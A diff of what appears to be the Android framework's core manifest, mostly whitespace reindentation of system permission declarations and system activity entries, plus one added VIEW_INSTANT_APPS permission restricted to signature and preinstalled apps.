<permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to grant specific permissions.
@hide -->
<permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS"
- android:protectionLevel="signature|installer|verifier" />
+ android:protectionLevel="signature|installer|verifier" />
<!-- @SystemApi Allows an app that has this permission and the permissions to install packages
to request certain runtime permissions to be granted at installation.
@hide -->
<permission android:name="android.permission.INSTALL_GRANT_RUNTIME_PERMISSIONS"
- android:protectionLevel="signature|installer|verifier" />
+ android:protectionLevel="signature|installer|verifier" />
<!-- @SystemApi Allows an application to revoke specific permissions.
@hide -->
<permission android:name="android.permission.REVOKE_RUNTIME_PERMISSIONS"
- android:protectionLevel="signature|installer|verifier" />
+ android:protectionLevel="signature|installer|verifier" />
<!-- @hide Allows an application to observe permission changes. -->
<permission android:name="android.permission.OBSERVE_GRANT_REVOKE_PERMISSIONS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
<p>Not for use by third-party applications.
@hide
-->
<permission android:name="android.permission.ACCESS_SURFACE_FLINGER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to take screen shots and more generally
get access to the frame buffer data.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.READ_FRAME_BUFFER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to use InputFlinger's low level features.
@hide -->
<permission android:name="android.permission.ACCESS_INPUT_FLINGER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to configure and connect to Wifi displays
@hide -->
<permission android:name="android.permission.CONFIGURE_WIFI_DISPLAY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to control low-level features of Wifi displays
such as opening an RTSP socket. This permission should only be used
by the display manager.
@hide -->
<permission android:name="android.permission.CONTROL_WIFI_DISPLAY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to control the color modes set for displays system-wide.
<p>Not for use by third-party applications.</p>
@hide -->
<permission android:name="android.permission.CONFIGURE_DISPLAY_COLOR_MODE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to control VPN.
<p>Not for use by third-party applications.</p>
@hide -->
<permission android:name="android.permission.CONTROL_VPN"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<uses-permission android:name="android.permission.CONTROL_VPN" />
<!-- @SystemApi Allows an application to capture audio output.
<p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.CAPTURE_AUDIO_OUTPUT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to capture audio for hotword detection.
<p>Not for use by third-party applications.</p>
@hide -->
<permission android:name="android.permission.CAPTURE_AUDIO_HOTWORD"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to modify audio routing and override policy decisions.
<p>Not for use by third-party applications.</p>
@hide -->
<permission android:name="android.permission.MODIFY_AUDIO_ROUTING"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to capture video output.
<p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to capture secure video output.
<p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.CAPTURE_SECURE_VIDEO_OUTPUT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to know what content is playing and control its playback.
<p>Not for use by third-party applications due to privacy of media consumption</p> -->
<permission android:name="android.permission.MEDIA_CONTENT_CONTROL"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to set the volume key long-press listener.
<p>When it's set, the application will receive the volume key long-press event
instead of changing volume.</p>
<p>Not for use by third-party applications</p> -->
<permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi @hide Allows an application to set media key event listener.
<p>When it's set, the application will receive the media key event before
@@ -2799,61 +2799,61 @@
cannot get the event.</p>
<p>Not for use by third-party applications</p> -->
<permission android:name="android.permission.SET_MEDIA_KEY_LISTENER"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Required to be able to disable the device (very dangerous!).
<p>Not for use by third-party applications.
@hide
-->
<permission android:name="android.permission.BRICK"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Required to be able to reboot the device.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.REBOOT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
- <!-- @SystemApi Allows low-level access to power management.
- <p>Not for use by third-party applications.
- @hide
- -->
- <permission android:name="android.permission.DEVICE_POWER"
- android:protectionLevel="signature" />
+ <!-- @SystemApi Allows low-level access to power management.
+ <p>Not for use by third-party applications.
+ @hide
+ -->
+ <permission android:name="android.permission.DEVICE_POWER"
+ android:protectionLevel="signature" />
- <!-- Allows access to the PowerManager.userActivity function.
- <p>Not for use by third-party applications. @hide @SystemApi -->
+ <!-- Allows access to the PowerManager.userActivity function.
+ <p>Not for use by third-party applications. @hide @SystemApi -->
<permission android:name="android.permission.USER_ACTIVITY"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
- <!-- @hide Allows low-level access to tun tap driver -->
+ <!-- @hide Allows low-level access to tun tap driver -->
<permission android:name="android.permission.NET_TUNNELING"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Run as a manufacturer test application, running as the root user.
Only available when the device is running in manufacturer test mode.
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.FACTORY_TEST"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to broadcast a notification that an application
package has been removed.
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.BROADCAST_PACKAGE_REMOVED"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to broadcast an SMS receipt notification.
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.BROADCAST_SMS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to broadcast a WAP PUSH receipt notification.
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.BROADCAST_WAP_PUSH"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to broadcast privileged networking requests.
<p>Not for use by third-party applications.
@@ -2861,87 +2861,87 @@
@deprecated Use {@link android.Manifest.permission#REQUEST_NETWORK_SCORES} instead
-->
<permission android:name="android.permission.BROADCAST_NETWORK_PRIVILEGED"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Not for use by third-party applications. -->
<permission android:name="android.permission.MASTER_CLEAR"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to call any phone number, including emergency
numbers, without going through the Dialer user interface for the user
to confirm the call being placed.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.CALL_PRIVILEGED"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to perform CDMA OTA provisioning @hide -->
<permission android:name="android.permission.PERFORM_CDMA_PROVISIONING"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to perform SIM Activation @hide -->
<permission android:name="android.permission.PERFORM_SIM_ACTIVATION"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows enabling/disabling location update notifications from
the radio.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.CONTROL_LOCATION_UPDATES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows read/write access to the "properties" table in the checkin
database, to change values that get uploaded.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.ACCESS_CHECKIN_PROPERTIES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to collect component usage
statistics
<p>Declaring the permission implies intention to use the API and the user of the
device can grant permission through the Settings application. -->
<permission android:name="android.permission.PACKAGE_USAGE_STATS"
- android:protectionLevel="signature|privileged|development|appop" />
+ android:protectionLevel="signature|privileged|development|appop" />
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
<!-- @hide Allows an application to change the app idle state of an app.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.CHANGE_APP_IDLE_STATE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide @SystemApi Allows an application to temporarily whitelist an inactive app to
access the network and acquire wakelocks.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.CHANGE_DEVICE_IDLE_TEMP_WHITELIST"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Permission an application must hold in order to use
{@link android.provider.Settings#ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS}.
This is a normal permission: an app requesting it will always be granted the
permission, without the user needing to approve or see it. -->
<permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"
- android:label="@string/permlab_requestIgnoreBatteryOptimizations"
- android:description="@string/permdesc_requestIgnoreBatteryOptimizations"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_requestIgnoreBatteryOptimizations"
+ android:description="@string/permdesc_requestIgnoreBatteryOptimizations"
+ android:protectionLevel="normal" />
<!-- @SystemApi Allows an application to collect battery statistics -->
<permission android:name="android.permission.BATTERY_STATS"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Allows an application to control the backup and restore process.
<p>Not for use by third-party applications.
@hide pending API council -->
<permission android:name="android.permission.BACKUP"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows a package to launch the secure full-backup confirmation UI.
ONLY the system process may hold this permission.
@hide -->
<permission android:name="android.permission.CONFIRM_FULL_BACKUP"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Must be required by a {@link android.widget.RemoteViewsService},
to ensure that only the system can bind to it. -->
<permission android:name="android.permission.BIND_REMOTEVIEWS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to tell the AppWidget service which application
can access AppWidget's data. The normal user flow is that a user
@@ -2950,25 +2950,25 @@
An application that has this permission should honor that contract.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.BIND_APPWIDGET"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Private permission, to restrict who can bring up a dialog to add a new
keyguard widget
@hide -->
<permission android:name="android.permission.BIND_KEYGUARD_APPWIDGET"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Internal permission allowing an application to query/set which
applications can bind AppWidgets.
@hide -->
<permission android:name="android.permission.MODIFY_APPWIDGET_BIND_PERMISSIONS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows applications to change the background data setting.
<p>Not for use by third-party applications.
@hide pending API council -->
<permission android:name="android.permission.CHANGE_BACKGROUND_DATA_SETTING"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi This permission can be used on content providers to allow the global
search system to access their data. Typically it used when the
@@ -2979,7 +2979,7 @@
it is used by applications to protect themselves from everyone else
besides global search. -->
<permission android:name="android.permission.GLOBAL_SEARCH"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Internal permission protecting access to the global search
system: ensures that only the system can access the provider
@@ -2989,33 +2989,33 @@
ranking).
@hide -->
<permission android:name="android.permission.GLOBAL_SEARCH_CONTROL"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Internal permission to allows an application to read indexable data.
@hide -->
<permission android:name="android.permission.READ_SEARCH_INDEXABLES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows applications to set a live wallpaper.
@hide XXX Change to signature once the picker is moved to its
own apk as Ghod Intended. -->
<permission android:name="android.permission.SET_WALLPAPER_COMPONENT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows applications to read dream settings and dream state.
@hide -->
<permission android:name="android.permission.READ_DREAM_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows applications to write dream settings, and start or stop dreaming.
@hide -->
<permission android:name="android.permission.WRITE_DREAM_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allow an application to read and write the cache partition.
@hide -->
<permission android:name="android.permission.ACCESS_CACHE_FILESYSTEM"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by default container service so that only
the system can bind to it and use it to copy
@@ -3023,67 +3023,67 @@
accessible to the system.
@hide -->
<permission android:name="android.permission.COPY_PROTECTED_DATA"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Internal permission protecting access to the encryption methods
@hide
-->
<permission android:name="android.permission.CRYPT_KEEPER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to read historical network usage for
specific networks and applications. @hide -->
<permission android:name="android.permission.READ_NETWORK_USAGE_HISTORY"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to manage network policies (such as warning and disable
limits) and to define application-specific rules. @hide -->
<permission android:name="android.permission.MANAGE_NETWORK_POLICY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to account its network traffic against other UIDs. Used
by system services like download manager and media server. Not for use by
third party apps. @hide -->
<permission android:name="android.permission.MODIFY_NETWORK_ACCOUNTING"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- C2DM permission.
@hide Used internally.
-->
<permission android:name="android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<uses-permission android:name="android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"/>
<!-- @SystemApi @hide Package verifier needs to have this permission before the PackageManager will
trust it to verify packages.
-->
<permission android:name="android.permission.PACKAGE_VERIFICATION_AGENT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by package verifier receiver, to ensure that only the
system can interact with it.
@hide
-->
<permission android:name="android.permission.BIND_PACKAGE_VERIFIER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi @hide Intent filter verifier needs to have this permission before the
PackageManager will trust it to verify intent filters.
-->
<permission android:name="android.permission.INTENT_FILTER_VERIFICATION_AGENT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by intent filter verifier receiver, to ensure that only the
system can interact with it.
@hide
-->
<permission android:name="android.permission.BIND_INTENT_FILTER_VERIFIER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows applications to access serial ports via the SerialManager.
@hide -->
<permission android:name="android.permission.SERIAL_PORT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows the holder to access content providers from outside an ApplicationThread.
This permission is enforced by the ActivityManagerService on the corresponding APIs,
@@ -3092,27 +3092,27 @@
@hide
-->
<permission android:name="android.permission.ACCESS_CONTENT_PROVIDERS_EXTERNALLY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to hold an UpdateLock, recommending that a headless
OTA reboot *not* occur while the lock is held.
@hide -->
<permission android:name="android.permission.UPDATE_LOCK"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to read the current set of notifications, including
any metadata and intents attached.
@hide -->
<permission android:name="android.permission.ACCESS_NOTIFICATIONS"
- android:protectionLevel="signature|privileged|appop" />
+ android:protectionLevel="signature|privileged|appop" />
<!-- Marker permission for applications that wish to access notification policy.
<p>Protection level: normal
-->
<permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY"
- android:description="@string/permdesc_access_notification_policy"
- android:label="@string/permlab_access_notification_policy"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_access_notification_policy"
+ android:label="@string/permlab_access_notification_policy"
+ android:protectionLevel="normal" />
<!-- Allows modification of do not disturb rules and policies. Only allowed for system
processes.
@@ -3123,42 +3123,42 @@
<!-- Allows access to keyguard secure storage. Only allowed for system processes.
@hide -->
<permission android:name="android.permission.ACCESS_KEYGUARD_SECURE_STORAGE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows managing (adding, removing) fingerprint templates. Reserved for the system. @hide -->
<permission android:name="android.permission.MANAGE_FINGERPRINT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an app to reset fingerprint attempt counter. Reserved for the system. @hide -->
<permission android:name="android.permission.RESET_FINGERPRINT_LOCKOUT"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to control keyguard. Only allowed for system processes.
@hide -->
<permission android:name="android.permission.CONTROL_KEYGUARD"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to listen to trust changes. Only allowed for system processes.
@hide -->
<permission android:name="android.permission.TRUST_LISTENER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to provide a trust agent.
@hide For security reasons, this is a platform-only permission. -->
<permission android:name="android.permission.PROVIDE_TRUST_AGENT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to launch the trust agent settings activity.
@hide -->
<permission android:name="android.permission.LAUNCH_TRUST_AGENT_SETTINGS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Must be required by an {@link
android.service.trust.TrustAgentService},
to ensure that only the system can bind to it.
@hide -->
<permission android:name="android.permission.BIND_TRUST_AGENT"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by an {@link
android.service.notification.NotificationListenerService},
@@ -3166,7 +3166,7 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Must be required by an {@link
android.service.notification.NotificationAssistantService} to ensure that only the system
@@ -3175,7 +3175,7 @@
@hide
-->
<permission android:name="android.permission.BIND_NOTIFICATION_ASSISTANT_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link
android.service.chooser.ChooserTargetService}, to ensure that
@@ -3183,7 +3183,7 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_CHOOSER_TARGET_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Must be held by services that extend
{@link android.service.resolver.ResolverRankerService}.
@@ -3200,7 +3200,7 @@
@hide
-->
<permission android:name="android.permission.BIND_RESOLVER_RANKER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link
android.service.notification.ConditionProviderService},
@@ -3208,14 +3208,14 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_CONDITION_PROVIDER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by an {@link android.service.dreams.DreamService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_DREAM_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by an {@link android.app.usage.CacheQuotaService} to ensure that only the
system can bind to it.
@@ -3228,44 +3228,44 @@
carrier setup application to enforce that this permission is required
@hide This is not a third-party API (intended for OEMs and system apps). -->
<permission android:name="android.permission.INVOKE_CARRIER_SETUP"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to listen for network condition observations.
@hide This is not a third-party API (intended for system apps). -->
<permission android:name="android.permission.ACCESS_NETWORK_CONDITIONS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to provision and access DRM certificates
@hide This is not a third-party API (intended for system apps). -->
<permission android:name="android.permission.ACCESS_DRM_CERTIFICATES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Api Allows an application to manage media projection sessions.
@hide This is not a third-party API (intended for system apps). -->
<permission android:name="android.permission.MANAGE_MEDIA_PROJECTION"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to read install sessions
@hide This is not a third-party API (intended for system apps). -->
<permission android:name="android.permission.READ_INSTALL_SESSIONS"
- android:label="@string/permlab_readInstallSessions"
- android:description="@string/permdesc_readInstallSessions"
- android:protectionLevel="normal"/>
+ android:label="@string/permlab_readInstallSessions"
+ android:description="@string/permdesc_readInstallSessions"
+ android:protectionLevel="normal"/>
<!-- @SystemApi Allows an application to remove DRM certificates
@hide This is not a third-party API (intended for system apps). -->
<permission android:name="android.permission.REMOVE_DRM_CERTIFICATES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @deprecated Use {@link android.Manifest.permission#BIND_CARRIER_SERVICES} instead -->
<permission android:name="android.permission.BIND_CARRIER_MESSAGING_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to interact with the currently active
{@link android.service.voice.VoiceInteractionService}.
@hide -->
<permission android:name="android.permission.ACCESS_VOICE_INTERACTION_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- The system process that is allowed to bind to services in carrier apps will
have this permission. Carrier apps should use this permission to protect
@@ -3273,9 +3273,9 @@
<p>Protection level: system|signature
-->
<permission android:name="android.permission.BIND_CARRIER_SERVICES"
- android:label="@string/permlab_bindCarrierServices"
- android:description="@string/permdesc_bindCarrierServices"
- android:protectionLevel="signature|privileged" />
+ android:label="@string/permlab_bindCarrierServices"
+ android:description="@string/permdesc_bindCarrierServices"
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to query whether DO_NOT_ASK_CREDENTIALS_ON_BOOT
flag is set.
@@ -3317,11 +3317,15 @@
confirmation UI for full backup/restore -->
<uses-permission android:name="android.permission.CONFIRM_FULL_BACKUP"/>
-
- <!-- Allows the holder to access the instant applications on the device.
+ <!-- Allows the holder to access and manage instant applications on the device.
@hide -->
<permission android:name="android.permission.ACCESS_INSTANT_APPS"
- android:protectionLevel="signature|installer|verifier" />
+ android:protectionLevel="signature|installer|verifier" />
+
+ <!-- Allows the holder to view the instant applications on the device.
+ @hide -->
+ <permission android:name="android.permission.VIEW_INSTANT_APPS"
+ android:protectionLevel="signature|preinstalled" />
<!-- Allows receiving the usage of media resource e.g. video/audio codec and
graphic memory.
@@ -3333,7 +3337,7 @@
APIs given by {@link SoundTriggerManager}.
@hide <p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.MANAGE_SOUND_TRIGGER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows trusted applications to dispatch managed provisioning message to Managed
Provisioning app. If requesting app does not have permission, it will be ignored.
@@ -3357,24 +3361,24 @@
the system can bind to it.
<p>Protection level: signature -->
<permission android:name="android.permission.BIND_VR_LISTENER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by system apps when accessing restricted VR APIs.
@hide
@SystemApi
<p>Protection level: signature -->
<permission android:name="android.permission.RESTRICTED_VR_ACCESS"
- android:protectionLevel="signature|preinstalled" />
+ android:protectionLevel="signature|preinstalled" />
<!-- Required to make calls to {@link android.service.vr.IVrManager}.
@hide -->
<permission android:name="android.permission.ACCESS_VR_MANAGER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to whitelist tasks during lock task mode
@hide <p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.UPDATE_LOCK_TASK_PACKAGES"
- android:protectionLevel="signature|setup" />
+ android:protectionLevel="signature|setup" />
<!-- @SystemApi Allows an application to replace the app name displayed alongside notifications
in the N-release and later.
@@ -3390,7 +3394,7 @@
<!-- @SystemApi Allows an application to manage auto-fill sessions.
@hide <p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.MANAGE_AUTO_FILL"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an app to set the theme overlay in /vendor/overlay
being used.
@@ -3400,7 +3404,7 @@
<!-- Allows an instant app to create foreground services. -->
<permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"
- android:protectionLevel="signature|development|ephemeral|appop" />
+ android:protectionLevel="signature|development|ephemeral|appop" />
<application android:process="system"
android:persistent="true"
@@ -3415,14 +3419,14 @@
android:defaultToDeviceProtectedStorage="true"
android:directBootAware="true">
<activity android:name="com.android.internal.app.ChooserActivity"
- android:theme="@style/Theme.DeviceDefault.Resolver"
- android:finishOnCloseSystemDialogs="true"
- android:excludeFromRecents="true"
- android:documentLaunchMode="never"
- android:relinquishTaskIdentity="true"
- android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
- android:process=":ui"
- android:visibleToInstantApps="true">
+ android:theme="@style/Theme.DeviceDefault.Resolver"
+ android:finishOnCloseSystemDialogs="true"
+ android:excludeFromRecents="true"
+ android:documentLaunchMode="never"
+ android:relinquishTaskIdentity="true"
+ android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
+ android:process=":ui"
+ android:visibleToInstantApps="true">
<intent-filter>
<action android:name="android.intent.action.CHOOSER" />
<category android:name="android.intent.category.DEFAULT" />
@@ -3445,106 +3449,106 @@
</intent-filter>
</activity>
<activity android:name="com.android.internal.app.IntentForwarderActivity"
- android:finishOnCloseSystemDialogs="true"
- android:theme="@style/Theme.NoDisplay"
- android:excludeFromRecents="true"
- android:label="@string/user_owner_label"
- android:exported="true"
- >
+ android:finishOnCloseSystemDialogs="true"
+ android:theme="@style/Theme.NoDisplay"
+ android:excludeFromRecents="true"
+ android:label="@string/user_owner_label"
+ android:exported="true"
+ >
</activity>
<activity-alias android:name="com.android.internal.app.ForwardIntentToParent"
- android:targetActivity="com.android.internal.app.IntentForwarderActivity"
- android:exported="true"
- android:label="@string/user_owner_label">
+ android:targetActivity="com.android.internal.app.IntentForwarderActivity"
+ android:exported="true"
+ android:label="@string/user_owner_label">
</activity-alias>
<activity-alias android:name="com.android.internal.app.ForwardIntentToManagedProfile"
- android:targetActivity="com.android.internal.app.IntentForwarderActivity"
- android:icon="@drawable/ic_corp_icon"
- android:exported="true"
- android:label="@string/managed_profile_label">
+ android:targetActivity="com.android.internal.app.IntentForwarderActivity"
+ android:icon="@drawable/ic_corp_icon"
+ android:exported="true"
+ android:label="@string/managed_profile_label">
</activity-alias>
<activity android:name="com.android.internal.app.HeavyWeightSwitcherActivity"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog"
- android:label="@string/heavy_weight_switcher_title"
- android:finishOnCloseSystemDialogs="true"
- android:excludeFromRecents="true"
- android:process=":ui">
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+ android:label="@string/heavy_weight_switcher_title"
+ android:finishOnCloseSystemDialogs="true"
+ android:excludeFromRecents="true"
+ android:process=":ui">
</activity>
<activity android:name="com.android.internal.app.PlatLogoActivity"
- android:theme="@style/Theme.Wallpaper.NoTitleBar.Fullscreen"
- android:configChanges="orientation|keyboardHidden"
- android:process=":ui">
+ android:theme="@style/Theme.Wallpaper.NoTitleBar.Fullscreen"
+ android:configChanges="orientation|keyboardHidden"
+ android:process=":ui">
</activity>
<activity android:name="com.android.internal.app.DisableCarModeActivity"
- android:theme="@style/Theme.NoDisplay"
- android:excludeFromRecents="true"
- android:process=":ui">
+ android:theme="@style/Theme.NoDisplay"
+ android:excludeFromRecents="true"
+ android:process=":ui">
</activity>
<activity android:name="com.android.internal.app.DumpHeapActivity"
- android:theme="@style/Theme.Translucent.NoTitleBar"
- android:label="@string/dump_heap_title"
- android:finishOnCloseSystemDialogs="true"
- android:noHistory="true"
- android:excludeFromRecents="true"
- android:process=":ui">
+ android:theme="@style/Theme.Translucent.NoTitleBar"
+ android:label="@string/dump_heap_title"
+ android:finishOnCloseSystemDialogs="true"
+ android:noHistory="true"
+ android:excludeFromRecents="true"
+ android:process=":ui">
</activity>
<provider android:name="com.android.server.am.DumpHeapProvider"
- android:authorities="com.android.server.heapdump"
- android:grantUriPermissions="true"
- android:multiprocess="false"
- android:singleUser="true" />
+ android:authorities="com.android.server.heapdump"
+ android:grantUriPermissions="true"
+ android:multiprocess="false"
+ android:singleUser="true" />
<activity android:name="android.accounts.ChooseAccountActivity"
